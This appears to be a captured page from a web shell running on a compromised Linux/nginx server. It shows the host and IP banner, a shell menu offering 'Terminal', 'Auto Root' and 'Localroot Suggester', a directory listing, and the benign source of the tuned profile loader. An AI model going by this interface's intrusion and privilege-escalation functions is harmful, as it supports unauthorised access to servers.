Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.135.201.190
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python2.7 /
site-packages /
tuned /
profiles /
Delete
Unzip
Name
Size
Permission
Date
Action
functions
[ DIR ]
drwxr-xr-x
2021-11-01 09:21
__init__.py
281
B
-rw-r--r--
2019-03-21 22:10
__init__.pyc
483
B
-rw-r--r--
2021-02-02 16:30
__init__.pyo
483
B
-rw-r--r--
2021-02-02 16:30
exceptions.py
95
B
-rw-r--r--
2019-03-21 22:10
exceptions.pyc
458
B
-rw-r--r--
2021-02-02 16:30
exceptions.pyo
458
B
-rw-r--r--
2021-02-02 16:30
factory.py
141
B
-rw-r--r--
2019-03-21 22:10
factory.pyc
653
B
-rw-r--r--
2021-02-02 16:30
factory.pyo
653
B
-rw-r--r--
2021-02-02 16:30
loader.py
4.13
KB
-rw-r--r--
2019-03-21 22:10
loader.pyc
4.99
KB
-rw-r--r--
2021-02-02 16:30
loader.pyo
4.99
KB
-rw-r--r--
2021-02-02 16:30
locator.py
3.23
KB
-rw-r--r--
2019-03-21 22:10
locator.pyc
4.05
KB
-rw-r--r--
2021-02-02 16:30
locator.pyo
4.05
KB
-rw-r--r--
2021-02-02 16:30
merger.py
1.79
KB
-rw-r--r--
2019-03-21 22:10
merger.pyc
2.12
KB
-rw-r--r--
2021-02-02 16:30
merger.pyo
2.12
KB
-rw-r--r--
2021-02-02 16:30
profile.py
1.11
KB
-rw-r--r--
2019-03-21 22:10
profile.pyc
2.43
KB
-rw-r--r--
2021-02-02 16:30
profile.pyo
2.43
KB
-rw-r--r--
2021-02-02 16:30
unit.py
1.73
KB
-rw-r--r--
2019-03-21 22:10
unit.pyc
3.86
KB
-rw-r--r--
2021-02-02 16:30
unit.pyo
3.86
KB
-rw-r--r--
2021-02-02 16:30
variables.py
2.26
KB
-rw-r--r--
2019-03-21 22:10
variables.pyc
3.86
KB
-rw-r--r--
2021-02-02 16:30
variables.pyo
3.86
KB
-rw-r--r--
2021-02-02 16:30
Save
Rename
import tuned.profiles.profile import tuned.profiles.variables from configobj import ConfigObj, ConfigObjError import tuned.consts as consts import os.path import collections import tuned.logs import re from tuned.profiles.exceptions import InvalidProfileException log = tuned.logs.get() class Loader(object): """ Profiles loader. """ __slots__ = ["_profile_locator", "_profile_merger", "_profile_factory", "_global_config", "_variables"] def __init__(self, profile_locator, profile_factory, profile_merger, global_config, variables): self._profile_locator = profile_locator self._profile_factory = profile_factory self._profile_merger = profile_merger self._global_config = global_config self._variables = variables def _create_profile(self, profile_name, config): return tuned.profiles.profile.Profile(profile_name, config) @classmethod def safe_name(cls, profile_name): return re.match(r'^[a-zA-Z0-9_.-]+$', profile_name) @property def profile_locator(self): return self._profile_locator def load(self, profile_names): if type(profile_names) is not list: profile_names = profile_names.split() profile_names = list(filter(self.safe_name, profile_names)) if len(profile_names) == 0: raise InvalidProfileException("No profile or invalid profiles were specified.") if len(profile_names) > 1: log.info("loading profiles: %s" % ", ".join(profile_names)) else: log.info("loading profile: %s" % profile_names[0]) profiles = [] processed_files = [] self._load_profile(profile_names, profiles, processed_files) if len(profiles) > 1: final_profile = self._profile_merger.merge(profiles) else: final_profile = profiles[0] final_profile.name = " ".join(profile_names) if "variables" in final_profile.units: self._variables.add_from_cfg(final_profile.units["variables"].options) del(final_profile.units["variables"]) # FIXME hack, do all variable expansions in one place self._expand_vars_in_devices(final_profile) return final_profile def _expand_vars_in_devices(self, profile): for unit in profile.units: profile.units[unit].devices = self._variables.expand(profile.units[unit].devices) def _load_profile(self, profile_names, profiles, processed_files): for name in profile_names: filename = self._profile_locator.get_config(name, processed_files) if filename is None: raise InvalidProfileException("Cannot find profile '%s' in '%s'." % (name, list(reversed(self._profile_locator._load_directories)))) processed_files.append(filename) config = self._load_config_data(filename) profile = self._profile_factory.create(name, config) if "include" in profile.options: include_name = self._variables.expand(profile.options.pop("include")) self._load_profile([include_name], profiles, processed_files) profiles.append(profile) def _expand_profile_dir(self, profile_dir, string): return re.sub(r'(?<!\\)\$\{i:PROFILE_DIR\}', profile_dir, string) def _load_config_data(self, file_name): try: config_obj = ConfigObj(file_name, raise_errors = True, list_values = False, interpolation = False) except ConfigObjError as e: raise InvalidProfileException("Cannot parse '%s'." % file_name, e) config = collections.OrderedDict() for section in list(config_obj.keys()): config[section] = collections.OrderedDict() try: keys = list(config_obj[section].keys()) except AttributeError: raise InvalidProfileException("Error parsing section '%s' in file '%s'." % (section, file_name)) for option in keys: config[section][option] = config_obj[section][option] dir_name = os.path.dirname(file_name) # TODO: Could we do this in the same place as the expansion of other functions? for section in config: for option in config[section]: config[section][option] = self._expand_profile_dir(dir_name, config[section][option]) # TODO: HACK, this needs to be solved in a better way (better config parser) for unit_name in config: if "script" in config[unit_name] and config[unit_name].get("script", None) is not None: script_path = os.path.join(dir_name, config[unit_name]["script"]) config[unit_name]["script"] = [os.path.normpath(script_path)] return config